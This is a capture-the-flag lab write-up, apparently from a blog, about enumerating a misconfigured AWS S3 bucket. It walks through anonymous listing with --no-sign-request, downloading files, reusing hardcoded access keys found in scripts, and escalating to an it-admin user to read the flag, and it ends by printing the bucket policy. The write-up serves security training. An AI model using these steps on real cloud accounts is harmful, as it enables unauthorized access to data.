October 20, 2026
[pwnedlabs AWS] AWS S3 Enumeration Basics
Lab link
By Ayush
4 min read
Lab link
https://app.pwnedlabs.io/labs/aws-s3-enumeration-basics
Scenario
It's your first day on the red team, and you've been tasked with examining a website that was found in a phished employee's bookmarks. Check it out and see where it leads! In scope is the company's infrastructure, including cloud services.
Information provided
http://dev.huge-logistics.comhttp://dev.huge-logistics.comAttack
Firstly, we check the page source of the site to get interesting information.
In the page source, we can see that the images used are stored in a S3 bucket which has a name
dev.huge-logistics.comdev.huge-logistics.com
We are not able to view the contents using the web interface, we will try the CLI instead. Now, we try to list the directories of this bucket without using valid credentials.
aws s3 ls s3://dev.huge-logistics.com --no-sign-request
PRE admin/
PRE migration-files/
PRE shared/
PRE static/
2023-10-16 22:30:47 5347 index.htmlaws s3 ls s3://dev.huge-logistics.com --no-sign-request
PRE admin/
PRE migration-files/
PRE shared/
PRE static/
2023-10-16 22:30:47 5347 index.htmlSeveral directories are present, admin and migration-files directories look very interesting.
We try to list the objects present inside the above directories, however we are not able to because of less privileges. One thing is clear, we need more permissions to be able to access those directories which can happen if we are able to escalate our privileges.
aws s3 ls s3://dev.huge-logistics.com/admin --no-sign-request
aws: [ERROR]: An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Deniedaws s3 ls s3://dev.huge-logistics.com/admin --no-sign-request
aws: [ERROR]: An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access DeniedWe then try to list the objects present inside the shared directory.
aws s3 ls s3://dev.huge-logistics.com/shared --no-sign-request
aws: [ERROR]: An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Deniedaws s3 ls s3://dev.huge-logistics.com/shared --no-sign-request
aws: [ERROR]: An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access DeniedWe are not able to access the shared directory as well. However, if we add an extra / in the end of the path, we will be able to access it!
aws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request
2023-10-16 20:38:33 0
2026-06-20 03:53:43 1877 hl_migration_project.zipaws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request
2023-10-16 20:38:33 0
2026-06-20 03:53:43 1877 hl_migration_project.zipWe will download this file present and inspect the contents.
aws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip ./ --no-sign-requestaws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip ./ --no-sign-requestAfter unzipping the file, we find a powershell script present with hardcoded access keys.
We will use these Keys and login to the aws cli using aws configure
Once we login, we will check our identity.
aws sts get-caller-identity
{
"UserId": "AIDA3SFM<REDACTED>",
"Account": "794929857501",
"Arn": "arn:aws:iam::794929857501:user/pam-test"
}aws sts get-caller-identity
{
"UserId": "AIDA3SFM<REDACTED>",
"Account": "794929857501",
"Arn": "arn:aws:iam::794929857501:user/pam-test"
}It seems we have logged in as pam-test. Lets check if we can access any additional information using this.
aws s3 ls s3://dev.huge-logistics.com/admin/
2023-10-16 20:38:38 0
2024-12-02 20:27:44 32 flag.txt
2023-10-17 01:54:07 2425 website_transactions_export.csvaws s3 ls s3://dev.huge-logistics.com/admin/
2023-10-16 20:38:38 0
2024-12-02 20:27:44 32 flag.txt
2023-10-17 01:54:07 2425 website_transactions_export.csvWe can see the flag.txt file which seems like our end goal. However, we are not able to download the file or read its contents.
aws s3api get-object --bucket dev.huge-logistics.com --key admin/flag.txt -
aws: [ERROR]: An error occurred (AccessDenied) when calling the GetObject operation: User: arn:aws:iam::794929857501:user/pam-test is not authorized to perform: s3:GetObject on resource: "arn:aws:s3:::dev.huge-logistics.com/admin/flag.txt" with an explicit deny in a resource-based policyaws s3api get-object --bucket dev.huge-logistics.com --key admin/flag.txt -
aws: [ERROR]: An error occurred (AccessDenied) when calling the GetObject operation: User: arn:aws:iam::794929857501:user/pam-test is not authorized to perform: s3:GetObject on resource: "arn:aws:s3:::dev.huge-logistics.com/admin/flag.txt" with an explicit deny in a resource-based policyWe are getting denied because of an explicit deny policy.
Next, we will try accessing the files present in the migration-files directory.
aws s3 ls s3://dev.huge-logistics.com/migration-files/
2023-10-16 20:38:47 0
2023-10-16 20:39:26 1833646 AWS Secrets Manager Migration - Discovery & Design.pdf
2023-10-16 20:39:25 1407180 AWS Secrets Manager Migration - Implementation.pdf
2023-10-16 20:39:27 1853 migrate_secrets.ps1
2026-01-31 01:23:58 2494 test-export.xmlaws s3 ls s3://dev.huge-logistics.com/migration-files/
2023-10-16 20:38:47 0
2023-10-16 20:39:26 1833646 AWS Secrets Manager Migration - Discovery & Design.pdf
2023-10-16 20:39:25 1407180 AWS Secrets Manager Migration - Implementation.pdf
2023-10-16 20:39:27 1853 migrate_secrets.ps1
2026-01-31 01:23:58 2494 test-export.xmlWe will download these files into our own system and inspect them.
aws s3 cp s3://dev.huge-logistics.com/migration-files/migrate_secrets.ps1 ./secrets2.ps1aws s3 cp s3://dev.huge-logistics.com/migration-files/migrate_secrets.ps1 ./secrets2.ps1
We try using these keys since these are different, however we find out that these are no longer valid.
aws sts get-caller-identity
aws: [ERROR]: An error occurred (InvalidClientTokenId) when calling the GetCallerIdentity operation: The security token included in the request is invalid.aws sts get-caller-identity
aws: [ERROR]: An error occurred (InvalidClientTokenId) when calling the GetCallerIdentity operation: The security token included in the request is invalid.We login using the old keys again and download the XML file where the keys are read from according to the logic inside the powershell script.
aws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml ./aws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml ./
We have received new keys now, which we will use to login.
aws sts get-caller-identity
{
"UserId": "AIDA3SFMDAP<REDACTED",
"Account": "794929857501",
"Arn": "arn:aws:iam::794929857501:user/it-admin"
}aws sts get-caller-identity
{
"UserId": "AIDA3SFMDAP<REDACTED",
"Account": "794929857501",
"Arn": "arn:aws:iam::794929857501:user/it-admin"
}Now we have logged in as it-admin which seems to be a highly privileged role. Lets try accessing the files inside the admin directory.
aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt ./aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt ./We got the flag!
Now, we can check the bucket policy attached to our target bucket and check the permission levels to the resources present in it.
aws s3api get-bucket-policy --bucket dev.huge-logistics.com | jq -r '.Policy | fromjson'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "PublicRead",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": [
"arn:aws:s3:::dev.huge-logistics.com/shared/*",
"arn:aws:s3:::dev.huge-logistics.com/index.html",
"arn:aws:s3:::dev.huge-logistics.com/static/*"
]
},
{
"Sid": "ListBucketRootAndShared",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::dev.huge-logistics.com",
"Condition": {
"StringEquals": {
"s3:prefix": [
"",
"shared/",
"static/"
],
"s3:delimiter": "/"
}
}
},
{
"Sid": "AllowAllExceptAdmin",
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::794929857501:user/it-admin",
"arn:aws:iam::794929857501:user/pam-test"
]
},
"Action": [
"s3:Get*",
"s3:List*"
],
"Resource": [
"arn:aws:s3:::dev.huge-logistics.com",
"arn:aws:s3:::dev.huge-logistics.com/*"
]
},
{
"Sid": "ExplicitDenyAdminAccess",
"Effect": "Deny",
"Principal": {
"AWS": "arn:aws:iam::794929857501:user/pam-test"
},
"Action": "s3:*",
"Resource": "arn:aws:s3:::dev.huge-logistics.com/admin/*"
}
]
}aws s3api get-bucket-policy --bucket dev.huge-logistics.com | jq -r '.Policy | fromjson'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "PublicRead",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": [
"arn:aws:s3:::dev.huge-logistics.com/shared/*",
"arn:aws:s3:::dev.huge-logistics.com/index.html",
"arn:aws:s3:::dev.huge-logistics.com/static/*"
]
},
{
"Sid": "ListBucketRootAndShared",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::dev.huge-logistics.com",
"Condition": {
"StringEquals": {
"s3:prefix": [
"",
"shared/",
"static/"
],
"s3:delimiter": "/"
}
}
},
{
"Sid": "AllowAllExceptAdmin",
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::794929857501:user/it-admin",
"arn:aws:iam::794929857501:user/pam-test"
]
},
"Action": [
"s3:Get*",
"s3:List*"
],
"Resource": [
"arn:aws:s3:::dev.huge-logistics.com",
"arn:aws:s3:::dev.huge-logistics.com/*"
]
},
{
"Sid": "ExplicitDenyAdminAccess",
"Effect": "Deny",
"Principal": {
"AWS": "arn:aws:iam::794929857501:user/pam-test"
},
"Action": "s3:*",
"Resource": "arn:aws:s3:::dev.huge-logistics.com/admin/*"
}
]
}After reading the policy, it makes perfect sense! We now know what an anonymous user, pam-test and it-admin can do.